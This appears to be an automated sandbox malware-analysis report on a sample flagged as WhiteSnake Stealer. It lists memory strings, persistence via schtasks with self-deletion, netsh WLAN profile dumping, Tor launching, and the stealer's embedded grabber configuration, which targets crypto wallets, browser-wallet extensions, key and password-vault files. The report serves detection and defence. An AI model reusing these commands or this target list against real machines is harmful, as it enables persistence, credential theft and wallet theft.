Source: tor-real.exe, 00000009.00000003.1934348565.0000000004B84000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 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-8ffoWrZhSfy
Source: tor-real.exe, 00000009.00000003.1989607353.00000000045EE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ifiuFxqqNAzifgMnvmCi791Exhrm8g9pMWD5pYoHMPRrZzReSNJAMfWw2joWzLoY
Source: tor-real.exe, 00000009.00000003.1903117586.000000000475D000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1908440671.0000000004A2D000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.9.dr Binary or memory string: m zxnVFUL1xhGFSw743tQqwHLLs9Eb5E9NRnKPGLLzvTE
Source: tor-real.exe, 00000009.00000002.4104315658.0000000005B29000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1995293165.00000000045F1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ntor-onion-key OVp5HuvOPnHGFSHvmJsFHAnXwUqZ02PhTC8UE4NeKwQ
Source: tor-real.exe, 00000009.00000003.1934525330.0000000004A73000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: j+49NTU-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-89J0oAC
Source: tor-real.exe, 00000009.00000003.1995293165.00000000045F1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
Source: file.exe Binary or memory string: qemu'2
Source: file.exe, 00000006.00000002.4115442311.000001BF34C54000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000002.4099903544.00000000018CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\file.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\file.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: file.exe, jxp3.cs Reference to suspicious API methods: NativeMethods.OpenProcess(processAccessMask, bInheritHandle: false, process.Id)
Source: file.exe, cOg.cs Reference to suspicious API methods: GetProcAddress(je, yd__gv)
Source: file.exe, s36.cs Reference to suspicious API methods: ReadProcessMemory(intPtr, lpBuffer.BaseAddress, array, array.Length, out var lpNumberOfBytesRead)
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\Desktop\file.exe" &&START "" "C:\Users\user\AppData\Local\Starlabs\file.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\timeout.exe timeout /t 3 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "file" /sc MINUTE /tr "C:\Users\user\AppData\Local\Starlabs\file.exe" /rl HIGHEST /f Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Starlabs\file.exe "C:\Users\user\AppData\Local\Starlabs\file.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe" -f "C:\Users\user\AppData\Local\zfzs6gcqx8\tor\torrc.txt" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]" Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c chcp 65001 && timeout /t 3 > nul && schtasks /create /tn "file" /sc minute /tr "c:\users\user\appdata\local\starlabs\file.exe" /rl highest /f && del /f /s /q /a "c:\users\user\desktop\file.exe" &&start "" "c:\users\user\appdata\local\starlabs\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c chcp 65001 && timeout /t 3 > nul && schtasks /create /tn "file" /sc minute /tr "c:\users\user\appdata\local\starlabs\file.exe" /rl highest /f && del /f /s /q /a "c:\users\user\desktop\file.exe" &&start "" "c:\users\user\appdata\local\starlabs\file.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Queries volume information: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\torrc.txt VolumeInformation Jump to behavior
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Queries volume information: C:\Users\user\AppData\Local\Starlabs\file.exe VolumeInformation
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F2808 GetSystemTime,SystemTimeToFileTime,BIO_ctrl, 9_2_6C1F2808
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information
barindex
Yara detected WhiteSnake Stealer
Source: Yara match File source: 00000006.00000002.4101217017.000001BF1C161000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7296, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7568, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 7656, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: tor-real.exe, 00000009.00000003.1902661880.00000000045EB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: r electroncash BcYhtE72gziJrnt+KgtHZWnEfjc 2038-01-01 00:00:00 193.135.10.219 59999 0
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command name="0"><args><string>%UserProfile%\Documents</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Documents</string></args></command><command name="0"><args><string>%UserProfile%\Downloads</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.
Source: file.exe, 00000000.00000002.1654569150.0000027500333000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: s\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>*\*</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests*;PasswordMeta*;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string></args></command><command name="3"><args><string>Ronin</string><string>fnjhmkhhmkbjkkabndcnnogagogbneec</string></args></command><command name="3"><args><string>BinanceChain</string><string>fhbohimaelbohpjbbldcngcnapndodjp</string></args></command><command name="3"><args><string>TronLink</string><string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string></args></command><command name="3"><args><string>Phantom</string><string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string></args></command><command name="0"><args><string>%UserProfile%\Desktop</string><string>doc.*;docx.*;xls.*;xlsx.*;ppt.*;pptx.*;pdf.*;txt.*;rtf.*;odt.*;ods.*;odp.*;csv.*;html.*;htm.*;epub.*;md.*;tex.*;wpd.*;wps.*;pub.*;xps.*;odg.*;ott.*;ots.*;otp.*;msg.*;eml.*;crt.*;cer.*;pem.*;der.*;p7b.*;p7c.*;pfx.*;p12.*;sst.*;csr.*;key.*;private.*;sig.*;signature.*;p7s.*;asc.*;gpg.*;authenticode.*;kdb.*;kdbx.*;agilekeychain.*;opvault.*;lastpass.*;psafe3.*;ovpn.*;log.*;cfg.*;conf.*;c.*;cpp.*;cc.*;cxx.*;hpp.*;cs.*;java.*;ts.*;php.*;rb.*;rs.*;swift.*;kt.*;kts.*;pl.*;r.*;sh.*;lua.*;py.*;go.*;</string><string>Grabber\Desktop Files</string></args></command><command 